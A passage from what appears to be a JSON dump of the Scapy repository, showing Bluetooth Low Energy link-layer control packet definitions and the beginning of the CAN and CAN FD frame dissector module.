BTLEChanMapField(\"chM\", 0),\n        BitField(\"SCA\", 0, 3),\n        BitField(\"hop\", 0, 5),\n    ]\n\n\nBTLE_Versions = {\n    6: '4.0',\n    7: '4.1',\n    8: '4.2',\n    9: '5.0',\n    10: '5.1',\n    11: '5.2',\n}\n\n\nBTLE_Corp_IDs = {\n    0xf: 'Broadcom Corporation',\n    0x59: 'Nordic Semiconductor ASA'\n}\n\n\nBTLE_BTLE_CTRL_opcode = {\n    0x00: 'LL_CONNECTION_UPDATE_REQ',\n    0x01: 'LL_CHANNEL_MAP_REQ',\n    0x02: 'LL_TERMINATE_IND',\n    0x03: 'LL_ENC_REQ',\n    0x04: 'LL_ENC_RSP',\n    0x05: 'LL_START_ENC_REQ',\n    0x06: 'LL_START_ENC_RSP',\n    0x07: 'LL_UNKNOWN_RSP',\n    0x08: 'LL_FEATURE_REQ',\n    0x09: 'LL_FEATURE_RSP',\n    0x0A: 'LL_PAUSE_ENC_REQ',\n    0x0B: 'LL_PAUSE_ENC_RSP',\n    0x0C: 'LL_VERSION_IND',\n    0x0D: 'LL_REJECT_IND',\n    0x0E: 'LL_SLAVE_FEATURE_REQ',\n    0x0F: 'LL_CONNECTION_PARAM_REQ',\n    0x10: 'LL_CONNECTION_PARAM_RSP',\n    0x14: 'LL_LENGTH_REQ',\n    0x15: 'LL_LENGTH_RSP',\n    0x16: 'LL_PHY_REQ',\n    0x17: 'LL_PHY_RSP',\n    0x18: 'LL_PHY_UPDATE_IND',\n    0x19: 'LL_MIN_USED_CHANNELS',\n    0x1A: 'LL_CTE_REQ',\n    0x1B: 'LL_CTE_RSP',\n    0x1C: 'LL_PERIODIC_SYNC_IND',\n    0x1D: 'LL_CLOCK_ACCURACY_REQ',\n    0x1E: 'LL_CLOCK_ACCURACY_RSP',\n    0x1F: 'LL_CIS_REQ',\n    0x20: 'LL_CIS_RSP',\n    0x21: 'LL_CIS_IND',\n    0x22: 'LL_CIS_TERMINATE_IND',\n    0x23: 'LL_POWER_CONTROL_REQ',\n    0x24: 'LL_POWER_CONTROL_RSP',\n    0x25: 'LL_POWER_CHANGE_IND',\n    0x26: 'LL_SUBRATE_REQ',\n    0x27: 'LL_SUBRATE_IND',\n    0x28: 'LL_CHANNEL_REPORTING_IND',\n    0x29: 'LL_CHANNEL_STATUS_IND',\n}\n\n\nclass BTLE_EMPTY_PDU(Packet):\n    name = \"Empty data PDU\"\n\n\nclass BTLE_CTRL(Packet):\n    name = \"BTLE_CTRL\"\n    fields_desc = [\n        ByteEnumField(\"opcode\", 0, BTLE_BTLE_CTRL_opcode)\n    ]\n\n\nclass LL_CONNECTION_UPDATE_IND(Packet):\n    name = 'LL_CONNECTION_UPDATE_IND'\n    fields_desc = [\n        XByteField(\"win_size\", 0),\n        XLEShortField(\"win_offset\", 0),\n        XLEShortField(\"interval\", 6),\n        XLEShortField(\"latency\", 0),\n        XLEShortField(\"timeout\", 50),\n        XLEShortField(\"instant\", 6),\n    ]\n\n\nclass LL_CHANNEL_MAP_IND(Packet):\n    name = 'LL_CHANNEL_MAP_IND'\n    fields_desc = [\n        BTLEChanMapField(\"chM\", 0xFFFFFFFFFE),\n        XLEShortField(\"instant\", 0),\n    ]\n\n\nclass LL_TERMINATE_IND(Packet):\n    name = 'LL_TERMINATE_IND'\n    fields_desc = [\n        XByteField(\"code\", 0x0),\n    ]\n\n\nclass LL_ENC_REQ(Packet):\n    name = 'LL_ENC_REQ'\n    fields_desc = [\n        XLELongField(\"rand\", 0),\n        XLEShortField(\"ediv\", 0),\n        XLELongField(\"skdm\", 0),\n        XLEIntField(\"ivm\", 0),\n    ]\n\n\nclass LL_ENC_RSP(Packet):\n    name = 'LL_ENC_RSP'\n    fields_desc = [\n        XLELongField(\"skds\", 0),\n        XLEIntField(\"ivs\", 0),\n    ]\n\n\nclass LL_START_ENC_REQ(Packet):\n    name = 'LL_START_ENC_REQ'\n    fields_desc = []\n\n\nclass LL_START_ENC_RSP(Packet):\n    name = 'LL_START_ENC_RSP'\n\n\nclass LL_UNKNOWN_RSP(Packet):\n    name = 'LL_UNKNOWN_RSP'\n    fields_desc = [\n        XByteField(\"code\", 0x0),\n    ]\n\n\nclass LL_FEATURE_REQ(Packet):\n    name = \"LL_FEATURE_REQ\"\n    fields_desc = [\n        BTLEFeatureField(\"feature_set\", 0)\n    ]\n\n\nclass LL_FEATURE_RSP(Packet):\n    name = \"LL_FEATURE_RSP\"\n    fields_desc = [\n        BTLEFeatureField(\"feature_set\", 0)\n    ]\n\n\nclass LL_PAUSE_ENC_REQ(Packet):\n    name = \"LL_PAUSE_ENC_REQ\"\n\n\nclass LL_PAUSE_ENC_RSP(Packet):\n    name = \"LL_PAUSE_ENC_RSP\"\n\n\nclass LL_VERSION_IND(Packet):\n    name = \"LL_VERSION_IND\"\n    fields_desc = [\n        ByteEnumField(\"version\", 8, BTLE_Versions),\n        LEShortEnumField(\"company\", 0, BTLE_Corp_IDs),\n        XLEShortField(\"subversion\", 0)\n    ]\n\n\nclass LL_REJECT_IND(Packet):\n    name = \"LL_REJECT_IND\"\n    fields_desc = [\n        XByteField(\"code\", 0x0),\n    ]\n\n\nclass LL_SLAVE_FEATURE_REQ(Packet):\n    name = \"LL_SLAVE_FEATURE_REQ\"\n    fields_desc = [\n        BTLEFeatureField(\"feature_set\", 0)\n    ]\n\n\nclass LL_CONNECTION_PARAM_REQ(Packet):\n    name = \"LL_CONNECTION_PARAM_REQ\"\n    fields_desc = [\n        XShortField(\"interval_min\", 0x6),\n        XShortField(\"interval_max\", 0x6),\n        XShortField(\"latency\", 0x0),\n        XShortField(\"timeout\", 0x0),\n        XByteField(\"preferred_periodicity\", 0x0),\n        XShortField(\"reference_conn_evt_count\", 0x0),\n        XShortField(\"offset0\", 0x0),\n        XShortField(\"offset1\", 0x0),\n        XShortField(\"offset2\", 0x0),\n        XShortField(\"offset3\", 0x0),\n        XShortField(\"offset4\", 0x0),\n        XShortField(\"offset5\", 0x0),\n    ]\n\n\nclass LL_CONNECTION_PARAM_RSP(Packet):\n    name = \"LL_CONNECTION_PARAM_RSP\"\n    fields_desc = [\n        XShortField(\"interval_min\", 0x6),\n        XShortField(\"interval_max\", 0x6),\n        XShortField(\"latency\", 0x0),\n        XShortField(\"timeout\", 0x0),\n        XByteField(\"preferred_periodicity\", 0x0),\n        XShortField(\"reference_conn_evt_count\", 0x0),\n        XShortField(\"offset0\", 0x0),\n        XShortField(\"offset1\", 0x0),\n        XShortField(\"offset2\", 0x0),\n        XShortField(\"offset3\", 0x0),\n        XShortField(\"offset4\", 0x0),\n        XShortField(\"offset5\", 0x0),\n    ]\n\n\nclass LL_REJECT_EXT_IND(Packet):\n    name = \"LL_REJECT_EXT_IND\"\n    fields_desc = [\n        XByteField(\"reject_opcode\", 0x0),\n        XByteField(\"error_code\", 0x0),\n    ]\n\n\nclass LL_PING_REQ(Packet):\n    name = \"LL_PING_REQ\"\n\n\nclass LL_PING_RSP(Packet):\n    name = \"LL_PING_RSP\"\n\n\nclass LL_LENGTH_REQ(Packet):\n    name = ' LL_LENGTH_REQ'\n    fields_desc = [\n        XLEShortField(\"max_rx_bytes\", 251),\n        XLEShortField(\"max_rx_time\", 2120),\n        XLEShortField(\"max_tx_bytes\", 251),\n        XLEShortField(\"max_tx_time\", 2120),\n    ]\n\n\nclass LL_LENGTH_RSP(Packet):\n    name = ' LL_LENGTH_RSP'\n    fields_desc = [\n        XLEShortField(\"max_rx_bytes\", 251),\n        XLEShortField(\"max_rx_time\", 2120),\n        XLEShortField(\"max_tx_bytes\", 251),\n        XLEShortField(\"max_tx_time\", 2120),\n    ]\n\n\nclass LL_PHY_REQ(Packet):\n    name = \"LL_PHY_REQ\"\n    fields_desc = [\n        BTLEPhysField('tx_phys', 0),\n        BTLEPhysField('rx_phys', 0),\n    ]\n\n\nclass LL_PHY_RSP(Packet):\n    name = \"LL_PHY_RSP\"\n    fields_desc = [\n        BTLEPhysField('tx_phys', 0),\n        BTLEPhysField('rx_phys', 0),\n    ]\n\n\nclass LL_PHY_UPDATE_IND(Packet):\n    name = \"LL_PHY_UPDATE_IND\"\n    fields_desc = [\n        BTLEPhysField('tx_phy', 0),\n        BTLEPhysField('rx_phy', 0),\n        XShortField(\"instant\", 0x0),\n    ]\n\n\nclass LL_MIN_USED_CHANNELS_IND(Packet):\n    name = \"LL_MIN_USED_CHANNELS_IND\"\n    fields_desc = [\n        BTLEPhysField('phys', 0),\n        ByteField(\"min_used_channels\", 2),\n    ]\n\n\nclass LL_CTE_REQ(Packet):\n    name = \"LL_CTE_REQ\"\n    fields_desc = [\n        LEBitField('min_cte_len_req', 0, 5),\n        LEBitField('rfu', 0, 1),\n        LEBitField(\"cte_type_req\", 0, 2)\n    ]\n\n\nclass LL_CTE_RSP(Packet):\n    name = \"LL_CTE_RSP\"\n    fields_desc = []\n\n\nclass LL_PERIODIC_SYNC_IND(Packet):\n    name = \"LL_PERIODIC_SYNC_IND\"\n    fields_desc = [\n        XLEShortField(\"id\", 251),\n        LEBitField(\"sync_info\", 0, 18 * 8),\n        XLEShortField(\"conn_event_count\", 0),\n        XLEShortField(\"last_pa_event_counter\", 0),\n        LEBitField('sid', 0, 4),\n        LEBitField('a_type', 0, 1),\n        LEBitField('sca', 0, 3),\n        BTLEPhysField('phy', 0),\n        BDAddrField(\"AdvA\", None),\n        XLEShortField(\"sync_conn_event_count\", 0),\n    ]\n\n\nclass LL_CLOCK_ACCURACY_REQ(Packet):\n    name = \"LL_CLOCK_ACCURACY_REQ\"\n    fields_desc = [\n        XByteField(\"sca\", 0),\n    ]\n\n\nclass LL_CLOCK_ACCURACY_RSP(Packet):\n    name = \"LL_CLOCK_ACCURACY_RSP\"\n    fields_desc = [\n        XByteField(\"sca\", 0),\n    ]\n\n\nclass LL_CIS_REQ(Packet):\n    name = 'LL_CIS_REQ'\n    fields_desc = [\n        XByteField(\"cig_id\", 0),\n        XByteField(\"cis_id\", 0),\n        BTLEPhysField('phy_c_to_p', 0),\n        BTLEPhysField('phy_p_to_c', 0),\n        LEBitField('max_sdu_c_to_p', 0, 12),\n        LEBitField('rfu1', 0, 3),\n        LEBitField('framed', 0, 1),\n        LEBitField('max_sdu_p_to_c', 0, 12),\n        LEBitField('rfu2', 0, 4),\n        LEBitField('sdu_interval_c_to_p', 0, 20),\n        LEBitField('rfu3', 0, 4),\n        LEBitField('sdu_interval_p_to_c', 0, 20),\n        LEBitField('rfu4', 0, 4),\n        XLEShortField(\"max_pdu_c_to_p\", 0),\n        XLEShortField(\"max_pdu_p_to_c\", 0),\n        XByteField(\"nse\", 0),\n        X3BytesField(\"subinterval\", 0x0),\n        LEBitField('bn_c_to_p', 0, 4),\n        LEBitField('bn_p_to_c', 0, 4),\n        ByteField(\"ft_c_to_p\", 0),\n        ByteField(\"ft_p_to_c\", 0),\n        XLEShortField(\"iso_interval\", 0),\n        X3BytesField(\"cis_offset_min\", 0x0),\n        X3BytesField(\"cis_offset_max\", 0x0),\n        XLEShortField(\"conn_event_count\", 0),\n    ]\n\n\nclass LL_CIS_RSP(Packet):\n    name = 'LL_CIS_RSP'\n    fields_desc = [\n        X3BytesField(\"cis_offset_min\", 0x0),\n        X3BytesField(\"cis_offset_max\", 0x0),\n        XLEShortField(\"conn_event_count\", 0),\n    ]\n\n\nclass LL_CIS_IND(Packet):\n    name = 'LL_CIS_IND'\n    fields_desc = [\n        XIntField(\"AA\", 0x00),\n        X3BytesField(\"cis_offset\", 0x0),\n        X3BytesField(\"cig_sync_delay\", 0x0),\n        X3BytesField(\"cis_sync_delay\", 0x0),\n        XLEShortField(\"conn_event_count\", 0),\n    ]\n\n\nclass LL_CIS_TERMINATE_IND(Packet):\n    name = 'LL_CIS_TERMINATE_IND'\n    fields_desc = [\n        ByteField(\"cig_id\", 0x0),\n        ByteField(\"cis_id\", 0x0),\n        ByteField(\"error_code\", 0x0),\n    ]\n\n\nclass LL_POWER_CONTROL_REQ(Packet):\n    name = 'LL_POWER_CONTROL_REQ'\n    fields_desc = [\n        ByteField(\"phy\", 0x0),\n        SignedByteField(\"delta\", 0x0),\n        SignedByteField(\"tx_power\", 0x0),\n    ]\n\n\nclass LL_POWER_CONTROL_RSP(Packet):\n    name = 'LL_POWER_CONTROL_RSP'\n    fields_desc = [\n        LEBitField(\"min\", 0, 1),\n        LEBitField(\"max\", 0, 1),\n        LEBitField(\"rfu\", 0, 6),\n        SignedByteField(\"delta\", 0),\n        SignedByteField(\"tx_power\", 0x0),\n        ByteField(\"apr\", 0x0),\n    ]\n\n\nclass LL_POWER_CHANGE_IND(Packet):\n    name = 'LL_POWER_CHANGE_IND'\n    fields_desc = [\n        ByteField(\"phy\", 0x0),\n        LEBitField(\"min\", 0, 1),\n        LEBitField(\"max\", 0, 1),\n        LEBitField(\"rfu\", 0, 6),\n        SignedByteField(\"delta\", 0),\n        ByteField(\"tx_power\", 0x0),\n    ]\n\n\nclass LL_SUBRATE_REQ(Packet):\n    name = 'LL_SUBRATE_REQ'\n    fields_desc = [\n        LEShortField(\"subrate_factor_min\", 0x0),\n        LEShortField(\"subrate_factor_max\", 0x0),\n        LEShortField(\"max_latency\", 0x0),\n        LEShortField(\"continuation_number\", 0x0),\n        LEShortField(\"timeout\", 0x0),\n    ]\n\n\nclass LL_SUBRATE_IND(Packet):\n    name = 'LL_SUBRATE_IND'\n    fields_desc = [\n        LEShortField(\"subrate_factor\", 0x0),\n        LEShortField(\"subrate_base_event\", 0x0),\n        LEShortField(\"latency\", 0x0),\n        LEShortField(\"continuation_number\", 0x0),\n        LEShortField(\"timeout\", 0x0),\n    ]\n\n\nclass LL_CHANNEL_REPORTING_IND(Packet):\n    name = 'LL_SUBRATE_IND'\n    fields_desc = [\n        ByteField(\"enable\", 0x0),\n        ByteField(\"min_spacing\", 0x0),\n        ByteField(\"max_delay\", 0x0),\n    ]\n\n\nclass LL_CHANNEL_STATUS_IND(Packet):\n    name = 'LL_CHANNEL_STATUS_IND'\n    fields_desc = [\n        LEBitField(\"channel_classification\", 0, 10 * 8),\n    ]\n\n\n# Advertisement (37-39) channel PDUs\nbind_layers(BTLE, BTLE_ADV, access_addr=0x8E89BED6)\nbind_layers(BTLE, BTLE_DATA)\nbind_layers(BTLE_ADV, BTLE_ADV_IND, PDU_type=0)\nbind_layers(BTLE_ADV, BTLE_ADV_DIRECT_IND, PDU_type=1)\nbind_layers(BTLE_ADV, BTLE_ADV_NONCONN_IND, PDU_type=2)\nbind_layers(BTLE_ADV, BTLE_SCAN_REQ, PDU_type=3)\nbind_layers(BTLE_ADV, BTLE_SCAN_RSP, PDU_type=4)\nbind_layers(BTLE_ADV, BTLE_CONNECT_REQ, PDU_type=5)\nbind_layers(BTLE_ADV, BTLE_ADV_SCAN_IND, PDU_type=6)\n\n# Data channel (0-36) PDUs\n# LLID=1 -> Continue\nbind_layers(BTLE_DATA, L2CAP_Hdr, LLID=2)\nbind_layers(BTLE_DATA, BTLE_CTRL, LLID=3)\nbind_layers(BTLE_DATA, BTLE_EMPTY_PDU, {'len': 0, 'LLID': 1})\nbind_layers(BTLE_CTRL, LL_CONNECTION_UPDATE_IND, opcode=0x00)\nbind_layers(BTLE_CTRL, LL_CHANNEL_MAP_IND, opcode=0x01)\nbind_layers(BTLE_CTRL, LL_TERMINATE_IND, opcode=0x02)\nbind_layers(BTLE_CTRL, LL_ENC_REQ, opcode=0x03)\nbind_layers(BTLE_CTRL, LL_ENC_RSP, opcode=0x04)\nbind_layers(BTLE_CTRL, LL_START_ENC_REQ, opcode=0x05)\nbind_layers(BTLE_CTRL, LL_START_ENC_RSP, opcode=0x06)\nbind_layers(BTLE_CTRL, LL_UNKNOWN_RSP, opcode=0x07)\nbind_layers(BTLE_CTRL, LL_FEATURE_REQ, opcode=0x08)\nbind_layers(BTLE_CTRL, LL_FEATURE_RSP, opcode=0x09)\nbind_layers(BTLE_CTRL, LL_PAUSE_ENC_REQ, opcode=0x0A)\nbind_layers(BTLE_CTRL, LL_PAUSE_ENC_RSP, opcode=0x0B)\nbind_layers(BTLE_CTRL, LL_VERSION_IND, opcode=0x0C)\nbind_layers(BTLE_CTRL, LL_REJECT_IND, opcode=0x0D)\nbind_layers(BTLE_CTRL, LL_SLAVE_FEATURE_REQ, opcode=0x0E)\nbind_layers(BTLE_CTRL, LL_CONNECTION_PARAM_REQ, opcode=0x0F)\nbind_layers(BTLE_CTRL, LL_CONNECTION_PARAM_RSP, opcode=0x10)\nbind_layers(BTLE_CTRL, LL_REJECT_EXT_IND, opcode=0x11)\nbind_layers(BTLE_CTRL, LL_PING_REQ, opcode=0x12)\nbind_layers(BTLE_CTRL, LL_PING_RSP, opcode=0x13)\nbind_layers(BTLE_CTRL, LL_LENGTH_REQ, opcode=0x14)\nbind_layers(BTLE_CTRL, LL_LENGTH_RSP, opcode=0x15)\nbind_layers(BTLE_CTRL, LL_PHY_REQ, opcode=0x16)\nbind_layers(BTLE_CTRL, LL_PHY_RSP, opcode=0x17)\nbind_layers(BTLE_CTRL, LL_PHY_UPDATE_IND, opcode=0x18)\nbind_layers(BTLE_CTRL, LL_MIN_USED_CHANNELS_IND, opcode=0x19)\nbind_layers(BTLE_CTRL, LL_CTE_REQ, opcode=0x1A)\nbind_layers(BTLE_CTRL, LL_CTE_RSP, opcode=0x1B)\nbind_layers(BTLE_CTRL, LL_PERIODIC_SYNC_IND, opcode=0x1C)\nbind_layers(BTLE_CTRL, LL_CLOCK_ACCURACY_REQ, opcode=0x1D)\nbind_layers(BTLE_CTRL, LL_CLOCK_ACCURACY_RSP, opcode=0x1E)\nbind_layers(BTLE_CTRL, LL_CIS_REQ, opcode=0x1F)\nbind_layers(BTLE_CTRL, LL_CIS_RSP, opcode=0x20)\nbind_layers(BTLE_CTRL, LL_CIS_IND, opcode=0x21)\nbind_layers(BTLE_CTRL, LL_CIS_TERMINATE_IND, opcode=0x22)\nbind_layers(BTLE_CTRL, LL_POWER_CONTROL_REQ, opcode=0x23)\nbind_layers(BTLE_CTRL, LL_POWER_CONTROL_RSP, opcode=0x24)\nbind_layers(BTLE_CTRL, LL_POWER_CHANGE_IND, opcode=0x25)\nbind_layers(BTLE_CTRL, LL_SUBRATE_REQ, opcode=0x26)\nbind_layers(BTLE_CTRL, LL_SUBRATE_IND, opcode=0x27)\nbind_layers(BTLE_CTRL, LL_CHANNEL_REPORTING_IND, opcode=0x28)\nbind_layers(BTLE_CTRL, LL_CHANNEL_STATUS_IND, opcode=0x29)\n\n\nconf.l2types.register(DLT_BLUETOOTH_LE_LL, BTLE)\nconf.l2types.register(DLT_BLUETOOTH_LE_LL_WITH_PHDR, BTLE_RF)\n\nbind_layers(BTLE_RF, BTLE)\n\nbind_layers(PPI_Hdr, BTLE_PPI, pfh_type=PPI_BTLE)\n"
  },
  {
    "path": "scapy/layers/can.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\n\"\"\"A minimal implementation of the CANopen protocol, based on\nWireshark dissectors. See https://wiki.wireshark.org/CANopen\n\n\"\"\"\n\nimport os\nimport gzip\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.compat import chb, hex_bytes\nfrom scapy.data import DLT_CAN_SOCKETCAN\nfrom scapy.fields import FieldLenField, FlagsField, StrLenField, \\\n    ThreeBytesField, XBitField, ScalingField, ConditionalField, LenField, ShortField\nfrom scapy.volatile import RandFloat, RandBinFloat\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.l2 import CookedLinux\nfrom scapy.error import Scapy_Exception\nfrom scapy.plist import PacketList\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import _ByteStream\n\n# Typing imports\nfrom typing import (\n    Tuple,\n    Optional,\n    Type,\n    List,\n    Union,\n    Callable,\n    IO,\n    Any,\n    cast,\n)\n\n__all__ = [\"CAN\", \"SignalPacket\", \"SignalField\", \"LESignedSignalField\",\n           \"LEUnsignedSignalField\", \"LEFloatSignalField\", \"BEFloatSignalField\",\n           \"BESignedSignalField\", \"BEUnsignedSignalField\", \"rdcandump\",\n           \"CandumpReader\", \"SignalHeader\", \"CAN_MTU\", \"CAN_MAX_IDENTIFIER\",\n           \"CAN_MAX_DLEN\", \"CAN_INV_FILTER\", \"CANFD\", \"CAN_FD_MTU\",\n           \"CAN_FD_MAX_DLEN\"]\n\n# CONSTANTS\nCAN_MAX_IDENTIFIER = (1 << 29) - 1  # Maximum 29-bit identifier\nCAN_MTU = 16\nCAN_MAX_DLEN = 8\nCAN_INV_FILTER = 0x20000000\nCAN_FD_MTU = 72\nCAN_FD_MAX_DLEN = 64\n\n# Mimics the Wireshark CAN dissector parameter\n# 'Byte-swap the CAN ID/flags field'.\n# Set to True when working with PF_CAN sockets\nconf.contribs['CAN'] = {'swap-bytes': False,\n                        'remove-padding': True}\n\n\nclass CAN(Packet):\n    \"\"\"A implementation of CAN messages.\n\n    Dissection of CAN messages from Wireshark captures and Linux PF_CAN sockets\n    are supported from protocol specification.\n    See https://wiki.wireshark.org/CANopen for further information on\n    the Wireshark dissector. Linux PF_CAN and Wireshark use different\n    endianness for the first 32 bit of a CAN message. This dissector can be\n    configured for both use cases.\n\n    Configuration ``swap-bytes``:\n        Wireshark dissection:\n            >>> conf.contribs['CAN']['swap-bytes'] = False\n\n        PF_CAN Socket dissection:\n            >>> conf.contribs['CAN']['swap-bytes'] = True\n\n    Configuration ``remove-padding``:\n    Linux PF_CAN Sockets always return 16 bytes per CAN frame receive.\n    This implicates that CAN frames get padded from the Linux PF_CAN socket\n    with zeros up to 8 bytes of data. The real length from the CAN frame on\n    the wire is given by the length field. To obtain only the CAN frame from\n    the wire, this additional padding has to be removed. Nevertheless, for\n    corner cases, it might be useful to also get the padding. This can be\n    configured through the **remove-padding** configuration.\n\n    Truncate CAN frame based on length field:\n        >>> conf.contribs['CAN']['remove-padding'] = True\n\n    Show entire CAN frame received from socket:\n        >>> conf.contribs['CAN']['remove-padding'] = False\n\n    \"\"\"\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        FieldLenField('length', None, length_of='data', fmt='B'),\n        ThreeBytesField('reserved', 0),\n        StrLenField('data', b'', length_from=lambda pkt: int(pkt.length)),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls,\n                      _pkt=None,  # type: Optional[bytes]\n                      *args,  # type: Any\n                      **kargs  # type: Any\n                      ):  # type: (...) -> Type[Packet]\n        if _pkt:\n            fdf_set = len(_pkt) > 5 and _pkt[5] & 0x04 and \\\n                not _pkt[5] & 0xf8\n            if fdf_set:\n                return CANFD\n            elif len(_pkt) > 4 and _pkt[4] > 8:\n                return CANFD\n        return CAN\n\n    @staticmethod\n    def inv_endianness(pkt):\n        # type: (bytes) -> bytes\n        \"\"\"Invert the order of the first four bytes of a CAN packet\n\n        This method is meant to be used specifically to convert a CAN packet\n        between the pcap format and the SocketCAN format\n\n        :param pkt: bytes str of the CAN packet\n        :return: bytes str with the first four bytes swapped\n        \"\"\"\n        len_partial = len(pkt) - 4  # len of the packet, CAN ID excluded\n        return struct.pack('<I{}s'.format(len_partial),\n                           *struct.unpack('>I{}s'.format(len_partial), pkt))\n\n    def pre_dissect(self, s):\n        # type: (bytes) -> bytes\n        \"\"\"Implements the swap-bytes functionality when dissecting \"\"\"\n        if conf.contribs['CAN']['swap-bytes']:\n            data = CAN.inv_endianness(s)  # type: bytes\n            return data\n        return s\n\n    def post_dissect(self, s):\n        # type: (bytes) -> bytes\n        self.raw_packet_cache = None  # Reset packet to allow post_build\n        return s\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        \"\"\"Implements the swap-bytes functionality for Packet build.\n\n        This is based on a copy of the Packet.self_build default method.\n        The goal is to affect only the CAN layer data and keep\n        under layers (e.g CookedLinux) unchanged\n        \"\"\"\n        if conf.contribs['CAN']['swap-bytes']:\n            data = CAN.inv_endianness(pkt)  # type: bytes\n            return data + pay\n        return pkt + pay\n\n    def extract_padding(self, p):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        if conf.contribs['CAN']['remove-padding']:\n            return b'', None\n        else:\n            return b'', p\n\n\nconf.l2types.register(DLT_CAN_SOCKETCAN, CAN)\nbind_layers(CookedLinux, CAN, proto=12)\n\n\nclass CANFD(CAN):\n    \"\"\"\n    This class is used for distinction of CAN FD packets.\n    \"\"\"\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        FieldLenField('length', None, length_of='data', fmt='B'),\n        FlagsField('fd_flags', 4, 8, ['bit_rate_switch',\n                                      'error_state_indicator',\n                                      'fd_frame']),\n        ShortField('reserved', 0),\n        StrLenField('data', b'', length_from=lambda pkt: int(pkt.length)),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n\n        data = super(CANFD, self).post_build(pkt, pay)\n\n        length = data[4]\n\n        if 8 < length <= 24:\n            wire_length = length + (-length) % 4\n        elif 24 < length <= 64:\n            wire_length = length + (-length) % 8\n        elif length > 64:\n            raise NotImplementedError\n        else:\n            wire_length = length\n\n        pad = b\"\\x00\" * (wire_length - length)\n\n        return data[0:4] + chb(wire_length) + data[5:] + pad\n\n\nbind_layers(CookedLinux, CANFD, proto=13)\n\n\nclass SignalField(ScalingField):\n    \"\"\"SignalField is a base class for signal data, usually transmitted from\n    CAN messages in automotive applications. Most vehicle manufacturers\n    describe their vehicle internal signals by so called data base CAN (DBC)\n    files. All necessary functions to easily create Scapy dissectors similar\n    to signal descriptions from DBC files are provided by this base class.\n\n    SignalField instances should only be used together with SignalPacket\n    classes since SignalPackets enforce length checks for CAN messages.\n\n    \"\"\"\n    __slots__ = [\"start\", \"size\"]\n\n    def __init__(self, name, default, start, size, scaling=1, unit=\"\",\n                 offset=0, ndigits=3, fmt=\"B\"):\n        # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int, str) -> None  # noqa: E501\n        ScalingField.__init__(self, name, default, scaling, unit, offset,\n                              ndigits, fmt)\n        self.start = start\n        self.size = abs(size)\n\n        if fmt[-1] == \"f\" and self.size != 32:\n            raise Scapy_Exception(\"SignalField size has to be 32 for floats\")\n\n    _lookup_table = [7, 6, 5, 4, 3, 2, 1, 0,\n                     15, 14, 13, 12, 11, 10, 9, 8,\n                     23, 22, 21, 20, 19, 18, 17, 16,\n                     31, 30, 29, 28, 27, 26, 25, 24,\n                     39, 38, 37, 36, 35, 34, 33, 32,\n                     47, 46, 45, 44, 43, 42, 41, 40,\n                     55, 54, 53, 52, 51, 50, 49, 48,\n                     63, 62, 61, 60, 59, 58, 57, 56]\n\n    @staticmethod\n    def _msb_lookup(start):\n        # type: (int) -> int\n        try:\n            return SignalField._lookup_table.index(start)\n        except ValueError:\n            raise Scapy_Exception(\"Only 64 bits for all SignalFields \"\n                                  \"are supported\")\n\n    @staticmethod\n    def _lsb_lookup(start, size):\n        # type: (int, int) -> int\n        try:\n            return SignalField._lookup_table[SignalField._msb_lookup(start) +\n                                             size - 1]\n        except IndexError:\n            raise Scapy_Exception(\"Only 64 bits for all SignalFields \"\n                                  \"are supported\")\n\n    @staticmethod\n    def _convert_to_unsigned(number, bit_length):\n        # type: (int, int) -> int\n        if number & (1 << (bit_length - 1)):\n            mask = (2 ** bit_length)  # type: int\n            return mask + number\n        return number\n\n    @staticmethod\n    def _convert_to_signed(number, bit_length):\n        # type: (int, int) -> int\n        mask = (2 ** bit_length) - 1  # type: int\n        if number & (1 << (bit_length - 1)):\n            return number | ~mask\n        return number & mask\n\n    def _is_little_endian(self):\n        # type: () -> bool\n        return self.fmt[0] == \"<\"\n\n    def _is_signed_number(self):\n        # type: () -> bool\n        return self.fmt[-1].islower()\n\n    def _is_float_number(self):\n        # type: () -> bool\n        return self.fmt[-1] == \"f\"\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[Union[int, float]]) -> bytes\n        if not isinstance(pkt, SignalPacket):\n            raise Scapy_Exception(\"Only use SignalFields in a SignalPacket\")\n\n        val = self.i2m(pkt, val)\n\n        if self._is_little_endian():\n            msb_pos = self.start + self.size - 1\n            lsb_pos = self.start\n            shift = lsb_pos\n            fmt = \"<Q\"\n        else:\n            msb_pos = self.start\n            lsb_pos = self._lsb_lookup(self.start, self.size)\n            shift = (64 - self._msb_lookup(msb_pos) - self.size)\n            fmt = \">Q\"\n\n        field_len = max(msb_pos, lsb_pos) // 8 + 1\n        if len(s) < field_len:\n            s += b\"\\x00\" * (field_len - len(s))\n\n        if self._is_float_number():\n            int_val = struct.unpack(self.fmt[0] + \"I\",\n                                    struct.pack(self.fmt, val))[0]  # type: int\n        elif self._is_signed_number():\n            int_val = self._convert_to_unsigned(int(val), self.size)\n        else:\n            int_val = cast(int, val)\n\n        pkt_val = struct.unpack(fmt, (s + b\"\\x00\" * 8)[:8])[0]\n        pkt_val |= int_val << shift\n        tmp_s = struct.pack(fmt, pkt_val)\n        return tmp_s[:len(s)]\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, Union[int, float]]\n        if not isinstance(pkt, SignalPacket):\n            raise Scapy_Exception(\"Only use SignalFields in a SignalPacket\")\n\n        if isinstance(s, tuple):\n            s, _ = s\n\n        if self._is_little_endian():\n            msb_pos = self.start + self.size - 1\n            lsb_pos = self.start\n            shift = self.start\n            fmt = \"<Q\"\n        else:\n            msb_pos = self.start\n            lsb_pos = self._lsb_lookup(self.start, self.size)\n            shift = (64 - self._msb_lookup(self.start) - self.size)\n            fmt = 